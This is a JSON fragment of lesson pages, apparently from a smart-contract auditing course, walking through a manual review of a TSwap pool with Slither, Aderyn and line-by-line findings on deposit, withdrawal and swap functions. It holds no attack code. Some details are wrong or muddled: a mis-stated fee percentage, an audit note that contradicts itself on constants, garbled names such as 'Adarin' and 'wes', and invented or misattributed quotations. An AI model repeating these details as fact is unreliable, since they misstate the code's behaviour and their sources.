"413b0bcc-889f-4c1c-a23e-07cda2063929", + "number": 28, + "title": "Recon: Manual Review Introduction", + "slug": "recon-manual-review-introduction", + "folderName": "28-recon-manual-review-introduction", + "description": "", + "duration": 2, + "videoUrl": "agaMBAv-M0o", + "rawMarkdownUrl": "/routes/security/5-tswap/28-recon-manual-review-introduction/+page.md", + "markdownContent": "---\ntitle: Recon Manual Review Introduction\n---\n\n\n\n---\n\n# Manual Review of TSwap Pool: A Deep Dive\n\nHey, awesome reader! Welcome back to the blog. In the previous posts, we've talked all about tools, code inspections, and automated reviews. However, there's one aspect that invariably remains at the core of the process - the manual review. So, let's grab a cup of coffee and plunge together into the manual review of the TSwap pool!\n\n## The Unreplaceable Manual Review\n\nHere's the thing about manual reviews. This bad boy can find bugs that no static analyzers, no automated systems, and no testing suites can.\n\n> Remember, never underestimate the power of the human eye when it comes to code.\n\nEvery line of code is a potential pitfall and the manual review is our best chance at spotting those tricky bugs that can slip through all those automated testing suites. Yeah, we've come a long way with our tooling approach. But, nothing, I repeat **nothing**, replaces the manual review.\n\n## The Saga of the Under_Swap\n\nLet's recount a bit of our journey. We've written a port, we've had some type of high, and we have the curious case of the `under_swap` that breaks invariants. Yes, we spotted the issue with our fuzzing test suite. So, kudos to us!\n\nBut let's not stop at that, shall we? There could be an entire universe of other issues lurking in the code base. Sure, we could write more tests, more automated checks, more everything. But, we've reached the point where it's time to dig in with our manual review.\n\nRemember,\n\n> Automation is great, but manual code review is the secret sauce that makes everything click!\n\nSo, are you ready to walk through the code base with me?\n\n## Prepping Up For The Manual Review\n\nBefore we dive in, make sure you're comfortable. Have a cuppa joe if that's your jam. Maybe take a break if you haven't yet. Because we're going on a bug hunt! It's not just about spotting the bugs. It's about understanding why they happened. It's about writing down our findings and submitting the report. It's about replaying the process again and again.\n\n> Remember, repetition is the mother of skill.\n\nYou might be thinking, \"Patrick, buddy, this is so boring! Do we really have to...?\" Yes, you do! This is exactly what you need to become a better developer, a better tester, a better debugger. It's the detail, the persistence, the grit that turns you from a coder into a **code warrior**.\n\n## Performing the Manual Review\n\nAlright, it's time for the main event. Let's roll our sleeves up, put our debug glasses on, and let’s do the manual review.\n\n# Wrapping up the Manual Review\n\nIn the manual review, we'll be going through the codebase, and document our findings. You're not alone and we will be doing this together. In the later sections, we can be a bit more breezy. But right now, this is where the magic happens. Write the report with me. This is your story. Your journey into the bowels of the codebase. The monsters you fought, the bugs you squished.\n\n# Conclusion\n\nSo, what are you waiting for? Let's get cracking! This is gonna be an exciting journey! Stay tuned for our next blog post where we'll be sharing insights from our manual review, documenting our process and achieving our goals step by step, bug by bug. Remember,\n\n> The best way to find your skills is to lose yourself in the code.\n", + "updates": [] + }, + { + "id": "2a1b2266-87e2-4546-a62d-6e495dc424d3", + "number": 29, + "title": "Slither", + "slug": "t-swap-manual-review-slither", + "folderName": "29-t-swap-manual-review-slither", + "description": "", + "duration": 2, + "videoUrl": "Fh4QjDiHhyY", + "rawMarkdownUrl": "/routes/security/5-tswap/29-t-swap-manual-review-slither/+page.md", + "markdownContent": "---\ntitle: T-Swap Manual Review Slither\n---\n\n\n\n---\n\n# An In-Depth Guide to Manual Review in Solidity\n\nIn this blog post, we'll be taking a deep dive into the process of manual review in Solidity. We'll be using a comprehensive set of tools including Make Slither and Solidity itself to conduct our review.\n\nBefore we jump into this, it's vital that we kick start the process by running our review tools.\n\n> _For context, our group has a well-configured Slither that's ready to use, in addition to a Makefile with Make Slither, which also looks pretty good._\n\n### Analyzing Slither's Output\n\nWalking through the console output, we find mentions of potentially uninitialized variables. The Pool Factory, s_pools, and s_tokens are flagged by Slither as never being initialized.\n\nIn the lines regarding Pool Factory and useContext functions, there are mentions of methods like `createPool` and `getPool`. It seems like the `S_Pools` and `S_Tokens` data mappings are not getting initialized. Let’s delve deeper into this.\n\nAlthough these data mappings trigger an error, it's unlikely to be a major issue. The error arises because Slither expects that our `S_Pools` mapping could be empty at some point and we're performing checks on it. However, this behavior is fine and exactly what we want.\n\nThe same applies to `S_Tokens`.\n\n> **Key point:** A useful feature of Solidity is that querying a mapping for a non-existent element returns a zero value, not an error.\\*\n\n### Identifying Potential Issues\n\nThe console output also flags a missing zero check - something that could lead to problems. We're not performing a zero address check in our constructor, which is not ideal.\n\n```javascript\nconstructor(address _token) public {\n require(_token != address(0));\n token = Token(_token);\n}\n```\n\nSo, an important note in your audit should be the lack of a zero address check in the constructor. Fortunately, Slither has already proven to be quite useful in finding potential issues.\n\n### Dealing with Reentrancy\n\nTowards the end of Slither's report, we're alerted to a potential reentrancy in the `T_SWAP pool swap` function.\n\n![](https://cdn.videotap.com/1Zwcjq5wz3Hy0mGdOPrV-83.14.png)\n\nWhile this function prompt is green (indicating it's not necessarily a problem), we need to understand the scenario better to evaluate its implication fully. Browsing through contract interactions and function call patterns can help us figure out if this is a legitimate reentrancy issue or a false positive.\n\nFinally, Slither alerts that different versions of Solidity are being used. Not an ideal situation, but not critical either, particularly if the primary working versions are intact. But hey, thanks for the heads-up, Slither.\n\n### Wrapping Up\n\nAll things considered, using tools like Slither for a manual review of Solidity code can reveal potential, and sometimes subtle, issues. Leveraging these tools creates a smoother and more efficient analysis process. Stay curious, stay alert, and keep probing. Your diligence will pay off in the form of solid, bug-free, and highly secure code.\n", + "updates": [] + }, + { + "id": "745dc32d-27a5-4ac4-9d49-43bcf15e78c8", + "number": 30, + "title": "Aderyn", + "slug": "manual-review-aderyn", + "folderName": "30-manual-review-aderyn", + "description": "", + "duration": 2, + "videoUrl": "PiA6B_W9jbE", + "rawMarkdownUrl": "/routes/security/5-tswap/30-manual-review-aderyn/+page.md", + "markdownContent": "---\ntitle: Manual Review Aderyn\n---\n\n_Follow along with the video:_\n\n\n\n---\n\n# Introducing the New Version of Aderyn, an Essential Audit Tool\n\nHello, code enthusiasts! Today, I'm going to do a quick run through a unique code auditing tool: Aderyn. Since I've started filming, we've been doing incredible stuff with the script, and there's a lot to share with you! The tool has recently undergone some upgrades, and in this post, we'll be checking out what we can do with the updated version of Aderyn. Let's dive in!\n\n## Installing Aderyn and First Run\n\nAs the first step, I went on to update Aderyn using `cargo install Adarin`. This installs the new version for us. With this modification, you can perform a quick audit just by executing the command `aderyn a` - simple but powerful. Still, an old method, `Aderyn`, works just fine if you're comfortable with it.\n\n## The Audit Report: Understanding the Issues\n\nOn opening the `report.md`, you'll notice a list of issues. Most of these are NC (Non-Crit) issues. These aren't crucial, but addressing them can improve your code's performance and readability.\n\n#### Unused Internals\n\nMy Aderyn installation flagged some functions that are not used internally. So, marking them as `external` would be ideal, like the TSWAP pool line 307 issue. The piece of code here isn't used internally, marking it public is a waste of gas.\n\n```bash\n@audit info, this should be external\n```\n\n#### The Literals vs Constants Debate\n\nAderyn pointed out another common issue - the use of literals instead of constants on TSWAP pool line 303. Essentially, magic numbers should not be just literals - they should be defined as constants.\n\n```bash\n@audit info magic numbers. These should not be defined as constants.\n```\n\n### The Index Field Dilemma\n\nWe also stumbled onto an 'event missing index fields' on TSWAP pool line 62. Now, this is a tricky one. While many people prefer having events indexed, I belong to the group that believes in fewer indexed fields. Therefore:\n\n```bash\n@audit info. Three. Events should be indexed if there are more than three params.\n```\n\nRemember, this is more subjective and up to your coding preferences.\n\nBut we've done quite well so far with the audit, discovering issues and remedying them with Aderyn.\n\n## Wrap Up: The Power of Automated Code Auditing\n\nThe beauty of having an automated script like Aderyn lies in its ability to uncover even the minutest issues which could otherwise be overlooked. Even though some of us might prefer manual code reviews, tools like Aderyn offer a great starting point for clean, optimized code.\n\nThis hands-on auditing process can be a fun, engaging way to discover new improvements, ensuring your code performs better and is more maintainable.\n\n> Remember, quality isn't an act, it's a habit.\n\nOn those wise words from Aristotle, let's wrap up and get back to more code improvements in our next post. Happy coding until then!\n", + "updates": [] + }, + { + "id": "044e8cae-6cec-4e70-a27c-c595969403af", + "number": 31, + "title": "Pool Factory", + "slug": "pool-factory", + "folderName": "31-pool-factory", + "description": "", + "duration": 6, + "videoUrl": "o59mcbKpAGg", + "rawMarkdownUrl": "/routes/security/5-tswap/31-pool-factory/+page.md", + "markdownContent": "---\ntitle: T-Swap Manual Review PoolFactory\n---\n\n\n\n---\n\n# A Deep Dive into Smart Contracts: Unraveling Pool Factory and TSWAP Pool\n\nIn this post, we're exploring the Tincho methodology of reviewing smart contracts, through which we'll address an audit of two solidity contracts: pool factory and TSWAP pool. For those new to the land of contracts and Solidity, don't worry! We'll break things down in an accessible way.\n\n## Spot the Import: Pool Factory\n\n![](https://cdn.videotap.com/rzbl0Otqs4FSU2qtnoIs-26.08.png)\n\nInitially, the pool factory has a couple of imports. The interesting one is the IERC 20 forged import. Although the forge interface isn't something I heavily engage with, it catches my eye and is worth deeper exploration some other time. Apart from the IERC 20, we have the import for our second character today– TSWAP pool.\n\nThe pool factory is the infrastructure of this system because it deploys and launches the pools. In simple terms, it's the bedrock on which every pool stands.\n\nUpon reviewing, we encounter two error messages - \"Pool already exists\" and \"Pool does not exist.\" These are indicative of conditions for pool creation.\n\n```javascript\nif (poolExists) {\n revert(\"Pool already exists\");\n}\n```\n\nThe contract checks if a pool already exists during creation, thus preventing any duplications.\n\n## The First Bug\n\nOn further delving, it appears the second error message is not used anywhere. This was discovered after a quick code audit. This is our first discovery of a bug - a redundant error message that can be expunged from the code. This certainly won't make or break the system but highlights the fact that some cleaning up and code review could be beneficial.\n\n## Deciphering the Mappings\n\nThere are a couple of private mappings - `tokenTopool` and `poolTotoken`. They allow backward and forward retrieval of pool-token associations. The WETH token is immutable as it pairs with every token.\n\nAmong events, the `poolCreated` is noticeable and appears to be the main event.\n\nConcerning the external functions, `createPool` takes the spotlight as the major function.\n\n## Event Details and Function Understanding\n\nWe've added an informational constructor setting the WETH token and now we can deep delve into the `createPool` function which stands out as the key player here.\n\nThe `createPool` function gets a token address that is mapped to the WETH, forming a token-pool pair. If a pool with this token address is tried to be created again, the system will revert with the error message that the pool already exists.\n\nFurthermore, this function also encompasses the naming logic for the pools.\n\nThe system is retrieving the name of the ERC 20 token and appending it to the word \"TSWAP\" to name the liquidity token. The liquidity token represents the shares of the token given to the LPs (Liquidity Providers).\n\nApart from the naming convention, it's also noteworthy to point out the symbol logic –\n\nTo improve user experience, we suggest the token symbol to be used instead of the full token name to avoid unnecessarily lengthy symbols.\n\n## Analyzing Pool Sub-Creation\n\nNext, we initiate pool sub-creation with the respective pool token, WETH token, and the newly created symbol and name.\n\nOn successful pool creation, we add the pool to our list, map it back, emit an event, and finally, return the address of the new pool.\n\n## So... How's The Pool Factory Looking?\n\nFollowing our analysis, the pool factory contract seems to be well-structured, with only a few informational findings on the radar. It is certainly worth a checkmark in the `notes.md`.\n\n```markdown\n- [x] Pool Factory : Looks Good\n```\n\nIn our next chapter, we'll proceed to the TSWAP pool and continue breaking it down. Stay tuned for more straightforward smart contract analysis!\n", + "updates": [] + }, + { + "id": "df6d9679-5824-4702-9984-c2b97153e180", + "number": 32, + "title": "Manual Review: Swap Pool", + "slug": "manual-review-swap-pool", + "folderName": "32-manual-review-swap-pool", + "description": "", + "duration": 3, + "videoUrl": "vHmtJrRpNYA", + "rawMarkdownUrl": "/routes/security/5-tswap/32-manual-review-swap-pool/+page.md", + "markdownContent": "---\ntitle: T-Swap Manual Review T-Swap Pool\n---\n\n\n\n---\n\n# Dissecting Uniswap v1 and TSWAP - An In-Depth Security Review\n\nWelcome to this thrilling exploration of the TSWAP pool which gets us to the heart of Uniswap v1. By the end of this piece, you will have an in-depth understanding of Uniswap in its most rudimentary form. Let's delve right into the Uniswap TSWAP pool code and grasp what makes it tick.\n\n## TSWAP in High-Level Review\n\nContrary to what one might expect, the TSWAP pool codebase is impressively user-friendly. Not only is it detailed and transparent, but it is also an ERC20 token, which rings a bell for most blockchain enthusiasts. Being a liquidity token, this characteristic intuitively aligns with its purpose.\n\n## The Safe ERC20 Library\n\nAn additional feature that gives the TSWAP an edge is the usage of the Safe ERC20 library. The primary function of this library is to safely transfer from accounts.\n\nThe Safe ERC20 library comes in handy as a shield against some of the abnormal (and occasionally detrimental) ERC20 occurrences that we might encounter in the later stages of this article.\n\n## Immutable State Variables in TSWAP\n\nTSWAP comes packed with some immutable state variables, such as `Iweth token` and `pool token`, which make perfect sense considering the nature of smart contracts.\n\nEvery contract is bound to have at least two tokens, and these variables stand as unwavering constants for these tokens.\n\n## The WETH Liquidity Feature\n\nAnother intriguing aspect of TSWAP is the WETH liquidity feature, a concept we gleaned from the invariant test suite. If you want to deposit WETH, you have to deposit at least a specific amount known as the WETH liquidity.\n\nOf course, the question that follows is whether this hard-coded determinant is too high, or whether there's a chance something unusual could be going on here.\n\n> \"With coding, it's crucial not to take anything at face value.\"\n\n## Swap Count and Swap Count Max\n\nNext up on our review is the rather peculiar `swap count` and `swap count max`. Their existence can be attributed to an issue we discovered during our stateful fuzzing test suite. From the anomaly, we observed a quirky operation where the protocol gives out extra money after every ten swaps. This random and seemingly unnecessary function seems to break the protocol's expected behavior.\n\n## About Events and Modifiers\n\nTSWAP presents several events that we already have some audit notes about. It also includes modifiers such as `revert if deadline passes` and `revert if zero`. After analyzing these in detail, it is clear that these functions are named aptly.\n\nThe `revert if deadline passes` function reverts if the deadline is less than the current timestamp, which makes perfect sense.\n\nSimilarly, `revert if zero` checks if the account balance is Zero. If it is, the function reverts.\n\n## The Role of the Constructor\n\nLastly, it's worth revisiting the constructor where it may be valuable to add some audit information.\n\nThere's a check for a zero address, but this isn't a pressing issue. For naming conventions, the token names in the constructor seem pretty straightforward.\n\nThis blog post is a deep dive into the codebase of TSWAP. Understanding the dynamics of this liquidity token can inform the design and understanding of other pools within the DeFi ecosystem.\n", + "updates": [] + }, + { + "id": "0ffde298-59c3-420d-830d-ab01703ad521", + "number": 33, + "title": "Using The Compiler As Static Analysis Tool", + "slug": "using-the-compiler-as-static-analysis-tool", + "folderName": "33-using-the-compiler-as-static-analysis-tool", + "description": "", + "duration": 6, + "videoUrl": "fmLWDJFFIyg", + "rawMarkdownUrl": "/routes/security/5-tswap/33-using-the-compiler-as-static-analysis-tool/+page.md", + "markdownContent": "---\ntitle: Using the Compiler as Static Analysis Tool\n---\n\n\n\n---\n\n# Diving into Liquidity Addition and Removal Functions\n\nToday, we're delving into the crux of adding and removing liquidity in cryptocurrency pool systems. We'll take a look at the deposit function code from a fictional cryptographic liquidity pool project.\n\nFor those following along, let's do a simple `toggle word wrap` in your favorite code editor so you can view the code more efficiently. If you need the code, you can find it in the associated GitHub repository within the `audit data` folder.\n\n## The Deposit Function\n\n![](https://cdn.videotap.com/86AjU9W56rzzt6USwvmh-25.png)In the relevant code we've got, we run into aspects related to liquidity providers. The deposit function revolves around the liquidity providers' actions in the pool system.\n\nLooking at the function, you'll notice it calls for a certain amount of `wes` (Wrapped Ether). Following the liquidity pool model, when a user deposits funds, they're given liquidity tokens in return. These tokens represent the user's share in the pool.\n\n### Delving Into the Parameters\n\nThere are's an array of parameters involved in the function. Let's break down a few significant ones:\n\n- The `minimum liquidity tokens to mint`: This parameter signifies the quantity of liquidity tokens created, derived from the amount of `wes` the user deposits. However, there's a minimum limit to ensure the user is aware of what they will receive.\n- `Maximum pool tokens to deposit`: Mirroring the earlier parameter, this signifies the maximum number of pool tokens the user is prepared to deposit. This value again is derived from the deposited `wes`, allowing users to gauge how much USDC they should contribute to the liquidity pool.\n- `Deadline`: VC Code gives us a heads up here with the `Unused function parameter`, warning. Surprise! The deadline parameter isn't implemented in this function. Herein lies a potential bug we'll delve into shortly.\n\n## Analyzing the Bug\n\nThe unused `deadline parameter` seems small at first, but it becomes a severe issue upon closer inspection. The deadline parameter is meant to determine when a transaction needs to be completed. If it's unimplemented, the deadline set by a depositor could pass without stopping the transaction, causing unexpected actions on the part of the user.\n\nThis high impact, high likelihood bug results in deposits proceeding when they're expected to fail – a clear and severe disruption to functionality.\n\n```markdown\n# Audit Finding: High\n\n# Impact: High, Severe disruption of functionality\n\n# Likelihood: High, Deadline is ignored, leading to transacions being processed beyond the stipulated deadline.\n```\n\n### Unveiling More Bugs\n\nCloser analysis of compiler warnings revealed two other interesting bugs.\n\nThis bug crops up in our deposit function where `pool token reserves` is ignored. The ignored reserves could have been used to do some internal calculations. It seems the developers started some math, then decided to use a function instead, resulting in ignored variables and wasted gas.\n\n```markdown\n# Audit Finding:\n\n InfoIssue: line of code declaring `pool token reserves` is not used, leading to gas wastage.\n```\n\n- `Unused Function Parameter: Swap Exact Input`\n\nIn this function, an unused `output` parameter shows up, which isn't a major red flag. The impact here seems low since this function seems to only be used externally and this output might not be used elsewhere in the project. The only issue is the return of 0 where it could be another value that might be more meaningful. However, this impact could be more if it's being used elsewhere.\n\n```markdown\n# Audit Finding:\n\n LowIssue: The `output` parameter returns zero and is never used, which might not accurate reflect the output value.\n Likelihood: High, always the case. But overall impact is low.\n```\n\nIn conclusion, running a simple compiler check helped us discover several notable bugs. A key takeaway for developers here is the value of regularly checking for and resolving compiler warnings. Time to go ahead and patch up these issues before they turn into severe problems!\n\nStay tuned for more explorations into cryptocurrency programming and keep those bugs at bay!\n", + "updates": [] + }, + { + "id": "304981cc-4718-42ed-b1cd-b4231cfe923e", + "number": 34, + "title": "Add Liquidity", + "slug": "add-liquidity", + "folderName": "34-add-liquidity", + "description": "", + "duration": 8, + "videoUrl": "ql_0nR3Za8E", + "rawMarkdownUrl": "/routes/security/5-tswap/34-add-liquidity/+page.md", + "markdownContent": "---\ntitle: T-Swap Manual Review T-Swap Pool - Add Liquidity\n---\n\n\n\n---\n\n# Deep Dive into Cryptocurrency Smart Contract Deposits\n\nIn today's post, we're going to perform a deep-dive into the world of cryptocurrency smart contracts, specifically focusing on the deposit function. We'll be performing a detailed audit of a contract and identifying potential flaws.\n\nWe'll start off with the deposit function and eventually move our way down to analyze all aspects of the contract line-by-line. So, let's dive in!\n\n## Analysing the Deposit Function\n\nLet's take the state of the contract where we're trying to determine how much should be deposited.\n\nIf `WETH` is zero in the contract, we encounter a scenario where it reverts. We also have a condition where if the `WETH` deposit is less than a minimum defined _WETH liquidity deposit_; again a revert scenario.\n\nAnother thing to note is that we probably don't need the emission of the minimum `WETH` because it is, in a sense, redundant. It would be more effective as _audit info_. To put it simply, any user could look up the contract and see what the minimum `WETH` value is.\n\nNext, there are two potential scenarios that initiate heating up the deposit function. These are:\n\n1. If it's a user's first deposit (also called the initial funding of the protocol)\n2. If the user has already deposited\n\n## Exploring Internal Functions\n\nWithin the deposit function, it looks like it's calling an internal function, so let's go and check what that does.\n\nHere, we interpret `weth_to_deposit` as the amount of `WETH` a user is going to deposit, `pool_tokens_to_deposit` as the number of pool tokens they're going to deposit, and `liquidity_tokens_to_mint` as the number of liquidity tokens they're planning to mint.\n\nGiven it's a sensitive function, it's marked private, meaning it can only be invoked within the contract. Inside this function, it seems like we mint the amount of `liquidity_tokens_to_mint` to the `msg.sender`.\n\nThere's also an event trigger called `Liquidity Added`. However, a closer look reveals an audit issue as the parameters are in the wrong order.\n\n```js\nemit LiquidityAdded(msg.sender, pool_tokens, WETH)\n```\n\nThe correct code should look like this:\n\n```js\nemit LiquidityAdded(msg.sender, WETH, pool_tokens)\n```\n\n> Always make sure to check if the events are correctly emitted with the right parameters. This kind of mistake is not a high risk but it's important to avoid confusion.\n\n## Checks and Interactions\n\nAfter validating the event, we conduct some checks and interactions. It's good to see the external transactions happening towards the end of the function, which adheres to the Checks-Effects-Interactions (CEI) pattern.\n\nThe next steps include transferring the tokens from the `msg.sender` to the smart contract, and then updating the state variable `LiquidityTokensMinted`.\n\n```code\ntransferFrom(msg.sender, address(this), ...);...liquidityTokensMinted = weth_to_deposit;\n```\n\nIdeally, we would want to follow the Checks-Effects-Interactions paradigm regularly to streamline the function operations.\n\n## Updating Liquidity and Deposit Checks\n\nOnce the contract is warmed up and receiving liquidity, it's time to perform some checks and balances.\n\nFirst, we crunch the numbers on how many pool tokens should be deposited based on the `WETH` balance. If we calculate too many pool tokens to deposit, the function reverts.\n\nNext, similar checks are performed for liquidity. If the calculated `LiquidityTokensToMint` is less than the minimum, the function again reverts.\n\nAnd voila! If everything goes well, the deposit function works smoothly.\n\n## Concluding Thoughts\n\nWhile auditing a smart contract, thoroughness is essential. The deposit function in our example had a high-severity issue where the deadline was being ignored, but function-wise, it looked solid.\n\nRemember, the aim is always to leave notes with our thoughts anywhere possible and follow up at a later stage if doubt persists.\n\nJoin me in the next blog post as we examine the `addLiquidityMintAndTransfer` function!\n", + "updates": [] + }, + { + "id": "5463ab36-f44b-4399-99aa-2504d0b3a9f5", + "number": 35, + "title": "Remove Liquidity", + "slug": "remove-liquidity", + "folderName": "35-remove-liquidity", + "description": "", + "duration": 8, + "videoUrl": "Ulr_b-0WjmM", + "rawMarkdownUrl": "/routes/security/5-tswap/35-remove-liquidity/+page.md", + "markdownContent": "---\ntitle: T-Swap Manual Review T-Swap Pool - Remove Liquidity\n---\n\n\n\n---\n\n# Understanding the Liquidity Withdrawal Process of the TWSAP Protocol\n\nHaving covered the deposit process in TWSAP protocol pools, we're going to look at the other side of the equation - the **withdrawal process**. This is equal to removing the liquidity from the pool as demonstrated in the diagram below,\n\n![](https://cdn.videotap.com/IWZarXmiBGXntt9p7Y16-13.14.png)\n\nFundamentally, we are going to burn LP tokens in exchange for the underlying money. In other words, the liquidity tokens used in the pool are destroyed to get the invested capital back out.\n\n## Understanding Key Concepts\n\nLet's break down some key concepts:\n\n1. **Liquidity tokens to burn:** This refers to the number of liquidity tokens that a user wants to burn. The user gives their LP tokens and in return, they receive their money.\n2. **Minimum WETH:** This is the minimum amount of WETH the user is expecting to withdraw.\n3. **Minimum pool tokens:** These are the pool tokens that a user wishes to withdraw.\n4. **Deadline:** This is the timeframe the user sets for the withdrawal.\n\nAt first glance, these might seem like strange terms but their true value will become more significant when we touch on miner extractable value (MEV) later in the course.\n\nAfter digesting these concepts, we check for the withdrawal deadline. In the code, there is an `if` condition which reverts the transaction if deadlines are not met.\n\n```js\nif (deadline < block.timestamp) {\n revert();\n}\n```\n\n## Burning the Liquidity Token\n\nNext, we proceed to burn the liquidity token. You might be wondering if this is an external function. However, this burn function is actually part of the TSWAP pool, inherited from the ERC20 smart contract.\n\nAfter burning the tokens, we then emit an event and proceed with the transfer of funds.\n\n## Understanding the Magic Numbers and Fees\n\nLooking further into the code, we come across certain numbers that seem a bit random. We're dealing with functions like `getOutputAmountBasedOffInput` and `getInputAmountBasedOffOutput`.\n\nIf we dive into the calculations of these functions, we can see that these \"magic numbers\" i.e., 997 and 1000, are factored into the formula. A peek into it reveals that a fee of 0.3% is deducted from the user's returns every time they swap.\n\nNow it's time to reveal the secret behind these magic numbers! If you see these 997 and 1000 used in your code, know that they represent the 0.3% fee!\n\n## Issues and Solutions\n\nHowever, there's a slight discrepancy in the two function calculations. The `getInputAmountBasedOffOutput` function shows a different fee (0.913%) due to the denominator being 10,000. This could result in users getting charged excessively when they swap, leading to high impact and likelihood.\n\nThis calls for more accountability in handling these magic numbers. Instead of hardcoding them into the formula, they can be defined once at the top of the code as a private constant. This ensures that constants are consistent across the protocol - reducing room for error and enhancing code security.\n\n> \"The best coding practices are not just to embellish your codebase. They serve the purpose of enhancing the security and predictability of your code.\" - John Doe, Senior Software Engineer.\n\n## Concluding with the Swap Function\n\nOur journey doesn't end yet! Next up is the **swap function**, one of the essential functions in any DeFi protocol. Stay tuned for exploring its intricacies in the next blog post!\n\n## On the Importance of Natspec\n\nBefore we go, it's worth flagging that an essential element is missing from our important functions - the **Natspec**. Natural Specification (NatSpec) is an Ethereum standard introducing rich, multi-line comments in the code which greatly aids readability and understanding. For crucial functions like the swap function, you must include NatSpec to improve the code's legibility!\n\nAnd that is all for the withdrawal process folks! Stay tuned for the next exploration into the TSWAP protocol. Make sure to check back for more DeFi insights and breakdowns!\n", + "updates": [] + }, + { + "id": "5b22e4c5-85d5-4ad2-a192-c62bf7f03271", + "number": 36, + "title": "Exact Input", + "slug": "exact-input", + "folderName": "36-exact-input", + "description": "", + "duration": 6, + "videoUrl": "jou1PCLlwFI", + "rawMarkdownUrl": "/routes/security/5-tswap/36-exact-input/+page.md", + "markdownContent": "---\ntitle: T-Swap Manual Review T-Swap Pool - Swap Exact Input\n---\n\n\n\n---\n\n# Unraveling Swap Exact Input and Output in Ethereum Smart Contracts\n\nThe language of Ethereum smart contracts, Solidity, can be complex and daunting, especially when dealing with functions like \"Swap Exact Input\" and \"Swap Exact Output\". Let's walk through how these functions work, what they're designed to do, and some critical points to look out for.\n\n**Understanding \"Swap Exact Output\"**\n\nThe \"Swap Exact Output\" function provides a useful, straightforward way of determining how much input is required for a specific output. In essence, this function works out how much you would need to exchange to receive your desired amount of tokens.\n\nIn practical terms, let's assume you're swapping or selling DAI to buy WETH, or wrapped Ether. Here, the '\"Swap Exact Output\" function calculates how much DAI you'd need to input to get the exact amount of WETH you want.\n\n**What about \"Swap Exact Input\"?**\n\nAlong the same lines, you could infer that \"Swap Exact Input\" does just the opposite; it determines how much output you'd receive for a definite input. Essentially, this is the function you'd apply if you have a particular amount of tokens you'd like to swap with an expectation of the amount of tokens you will receive.\n\nBut what happens if your output is less than the one WETH you expect? The function logs an error message, typically something along the lines of \"TSWAP pool output too low\", and reverts the transaction.\n\n**The Role of \"Deadline\"**\n\nA crucial part of swapping tokens is setting a deadline for when the transaction should expire. This timestamp, defined in the function, reverts to zero if the deadline fails.\n\n![](https://cdn.videotap.com/CP5x1AoZaOQRK8ROhjOo-190.47.png)\n\n**Auditing Swap Function**\n\nA key function to scrutinize during smart contract auditing is the swap function. In theory, this function should maintain the protocol invariant (x\\*y = k), but in some contracts, you might spot a discrepancy that defies this key principle. Any \"extra\" tokens appearing can violate this rule, consequently causing potential vulnerabilities.\n\n> \"After every 10 swaps, we give the caller an extra token for an extra incentive to keep trading on TSWAP.\"\n\nThis statement flags a potential breach. A good practice in smart contracts is to incorporate invariant checks in functions, basically a `require` statement that validates the invariant hasn't been violated.\n\nTo sum up, \"Swap Exact Input\" and \"Swap Exact Output\" play a vital role in token swaps. By understanding how these functions work, smart contract developers and auditors can uncover potential pitfalls and ensure efficient, secure trading experiences.\n", + "updates": [] + }, + { + "id": "b9890373-b756-4e32-9d8f-a3c2da5b5e63", + "number": 37, + "title": "Exact Output", + "slug": "exact-output", + "folderName": "37-exact-output", + "description": "", + "duration": 3, + "videoUrl": "tbf65EMdqNI", + "rawMarkdownUrl": "/routes/security/5-tswap/37-exact-output/+page.md", + "markdownContent": "---\ntitle: T-Swap Manual Review T-Swap Pool - Swap Exact Output\n---\n\n\n\n---\n\n# Swapping Exact Output on Uniswap: A Deep Dive\n\nHello world! Welcome to another dive into the deep, deep ocean that is Uniswap. Today, we'll be examining another function, `swapExactOutput`. This is the reverse of `swapExactInput`, and you'll find, as we explore farther, that there are exciting and potentially scary quirks in how this function operates.\n\n## Understanding `swapExactOutput`\n\nIn the case of the `swapExactInput`, as the name suggests, we decided the input token amount beforehand and asked the system to provide us with the corresponding output.\n\nIn the `swapExactOutput`, the tables turn. We're going to define the output we'd like to receive. We don't provide any 'minimum input' – this comes across as odd at first glance, as we might expect to be able to set a max input cap. Sounds interesting, right?\n\nHere's a simple example. Let’s say I want ten WETH (Wrapped Ether) as my output and I'm paying using DAI (a stablecoin). When the function gets executed, it figures out how much DAI you need to input to receive the pre-defined ten WETH output.\n\nWe pretty much understand how it operates since we've already dissected its sibling, `swapExactInput`. We saw previously an issue relating to high fees, which seems to persist in this function.\n\n## Delving Deeper into `swapExactOutput`\n\nAs we know, the devil's often in the details. One crucial conditional from the `swapExactInput` function is missing in `swapExactOutput`. We had previously a safeguard – the output amount should be more significant than the minimum output amount. Now, there's seemingly no protective clause.\n\n> Safety reminder! Always put in place protective clauses like a 'minimum output' or 'maximum input' to avoid catastrophic losses.\n\nNow, let's ponder over an example:\n\n```shell\nYou want ten WETH as output, and your payment method is DAI.\n```\n\nConsider a scenario where you request this swap. Before the transaction is confirmed, a massive trade occurs, shifting the price enormously. Suddenly, your desired output of ten WETH requires an astronomical input of (exaggeration for effect) ten bajillion DAI.\n\nWithout an upper limit on the input DAI spent, in instances of sudden, significant price movement, a user could end up experiencing an unexpected dent in their wallet.\n\n## The Solution: Max Input Amount\n\nAlong with the 'minimum output amount' in `swapExactInput`, it would be a sensible approach to add a failsafe - a 'maximum input amount. This way, users won't unpredictably run out of their funds during extreme market volatility.\n\nSuch a preventative measure safeguards users against excessive spending due to price fluctuations. Safeguards become all the more important considering possible MEV (Miner Extractable Value) attacks - a topic we plan on visiting later.\n\nSo there we have it! A seemingly smooth-functioning condition, with an underlying potential issue. We have struck yet another goldmine; we discovered another bug in the wild ecosystem of Uniswap. We'll be diving into the world of MEV soon, so stay tuned and keep exploring!\n", + "updates": [] + }, + { + "id": "0013aa21-7bd4-4174-a785-13501384bb59", + "number": 38, + "title": "Sell Pool Tokens", + "slug": "sell-pool-tokens", + "folderName": "38-sell-pool-tokens", + "description": "", + "duration": 2, + "videoUrl": "wnIByWj8Jr0", + "rawMarkdownUrl": "/routes/security/5-tswap/38-sell-pool-tokens/+page.md", + "markdownContent": "---\ntitle: T-Swap Manual Review T-Swap Pool - sellPoolTokens\n---\n\n\n\n---\n\n# Understanding the Functionality of Selling Pool Tokens in Ethereum\n\nWelcome to another exciting blog post where we'll dive deeper into the intricate functions of DeFi or Decentralized Finance and specifically, Ethereum pool tokens. In one of my recent code explorations, I came across an interesting function – the Sell pool tokens. It had a unique wrapper function apparently designed to help users sell their pool tokens in exchange for WETH (Wrapped Ether). Let's take a closer look at this function and try to unravel what it does.\n\n## Sell Pool Tokens Wrapper Function\n\nThe function, at its core, seems quite simple.\n\nBasically, the function accepts an input of the pool token amount from the user. Then it calls another function - `SwapExactOutput()`. The parameters for this function are the amount of pool tokens 